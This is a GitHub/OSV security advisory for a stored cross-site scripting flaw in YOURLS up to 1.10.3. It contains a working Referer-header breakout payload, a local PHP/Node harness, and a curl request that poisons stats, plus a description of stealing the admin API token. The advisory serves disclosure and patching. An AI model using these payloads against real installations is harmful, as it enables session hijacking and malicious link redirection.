CVE-2026-63135: Yourls/yourls Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5h77-88j3-r659",
  "modified" : "2026-08-21T20:57:24Z",
  "published" : "2026-08-21T20:57:23Z",
  "aliases" : [ "CVE-2026-63135" ],
  "summary" : "YOURLS has stored XSS in referrer statistics chart via crafted Referer header",
  "details" : "### Summary\n\nYOURLS stores the HTTP `Referer` header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted `Referer` header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.\n\nThis is reachable in default private installations when authenticated users view stats, and in documented configurations where `YOURLS_PRIVATE_INFOS` is set to `false` to make statistics pages public.\n\n### Details\n\nThe vulnerable source-to-sink path is:\n\n```text\nHTTP Referer header\n  -> yourls_get_referrer()\n  -> yourls_sanitize_url_safe()\n  -> yourls_log_redirect()\n  -> log table referrer column\n  -> yourls-infos.php referrer aggregation\n  -> yourls_get_domain()\n  -> yourls_stats_pie()\n  -> yourls_google_array_to_data_table()\n  -> inline JavaScript\n```\n\nRelevant code:\n\n- `includes/functions.php:240-243`: `yourls_get_referrer()` reads `$_SERVER['HTTP_REFERER']`, calls `yourls_sanitize_url_safe()`, and truncates the result to 200 bytes.\n- `includes/functions.php:294-307`: `yourls_redirect_shorturl()` calls `yourls_log_redirect()` before redirecting the visitor.\n- `includes/functions.php:516-545`: `yourls_log_redirect()` stores the sanitized referrer in the log table.\n- `yourls-infos.php:60-82`: the statistics page reads logged referrers and groups them by `yourls_get_domain($row->referrer)`.\n- `yourls-infos.php:493-498`: the statistics page passes referrer domains to `yourls_stats_pie()`.\n- `includes/functions-infos.php:338-355`: `yourls_google_array_to_data_table()` manually concatenates labels into JavaScript as `['$label', ...]` without escaping single quotes, backslashes, or other JavaScript string metacharacters.\n- `includes/functions-formatting.php:141-143` and `includes/functions-formatting.php:555-609`: `yourls_sanitize_url_safe()` removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including `'`, `[`, `]`, `,`, and parentheses.\n\nA crafted referrer host such as:\n\n```text\nx',1],['marker',alert(1)],['z.tld\n```\n\nsurvives sanitization when used in a URL like:\n\n```text\nhttp://x',1],['marker',alert(1)],['z.tld/path\n```\n\nIt is then rendered into chart JavaScript like:\n\n```javascript\nvar data = google.visualization.arrayToDataTable([\n    ['x',1],['marker',alert(1)],['z.tld',1]\n]);\n```\n\nThe `alert(1)` call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context.\n\n### PoC\n\nThe following local harness was run against commit `c3fc8e2370d240403c17c2e4a70e1e234759a5b3`. It exercises YOURLS' real URL sanitizer, domain extraction, and `yourls_stats_pie()` chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and `alert()`.\n\n```sh\ndocker run --rm --network none -v \"$PWD:/repo:ro\" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r '\ndefine(\"IDNA_DEFAULT\",0);\ndefine(\"INTL_IDNA_VARIANT_UTS46\",1);\nfunction yourls_add_action(){ }\nfunction yourls_do_action(){ }\nfunction yourls_apply_filter($tag,$value){ return $value; }\nfunction yourls_get_protocol($url){ preg_match(\"!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!\", $url, $m); return isset($m[0]) ? $m[0] : \"\"; }\nfunction yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }\nif(!function_exists(\"idn_to_utf8\")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }\nrequire \"includes/vendor/autoload.php\";\nrequire \"includes/functions-kses.php\";\nyourls_kses_init();\nrequire \"includes/functions-formatting.php\";\nrequire \"includes/functions-infos.php\";\n$ref=\"http://x\\x27,1],[\\x27marker\\x27,alert(1)],[\\x27z.tld/path\";\n$san=substr(yourls_sanitize_url_safe($ref),0,200);\n$host=yourls_get_domain($san);\nob_start();\nyourls_stats_pie([$host=>1,\"benign.example\"=>1,\"another.example\"=>1], 5, \"440x220\", \"stat_tab_source_ref\");\n$html=ob_get_clean();\npreg_match(\"#<script[^>]*>(.*?)</script>#s\", $html, $m);\n$js=\"global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; \".$m[1].\"; console.log(\\x27san=\\x27+\".json_encode($san).\"); console.log(\\x27host=\\x27+\".json_encode($host).\"); console.log(\\x27pwned=\\x27+global.pwned);\";\necho $js;\n' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js\n```\n\nObserved output:\n\n```text\nsan=http://x',1],['marker',alert(1)],['z.tld/path\nhost=x',1],['marker',alert(1)],['z.tld\npwned=1\n```\n\nA request that would poison statistics for an existing short URL in a local YOURLS instance is:\n\n```sh\ncurl -H \"Referer: http://x',1],['marker',alert(1)],['z.tld/path\" \\\n  http://localhost/<existing-keyword>\n```\n\nThen view the affected short URL's stats page:\n\n```text\nhttp://localhost/<existing-keyword>+\n```\n\nThe payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present.\n\n### Impact\n\nBeyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions.\n\nIn a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata.\n\nThe XSS can also fetch `/admin/tools.php` and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes.\n\nConfidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yourls/yourls"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.5.1"
      }, {
        "fixed" : "1.10.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.10.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/pull/4107"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YOURLS/YOURLS"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-21T20:57:23Z",
    "nvd_published_at" : null
  }
}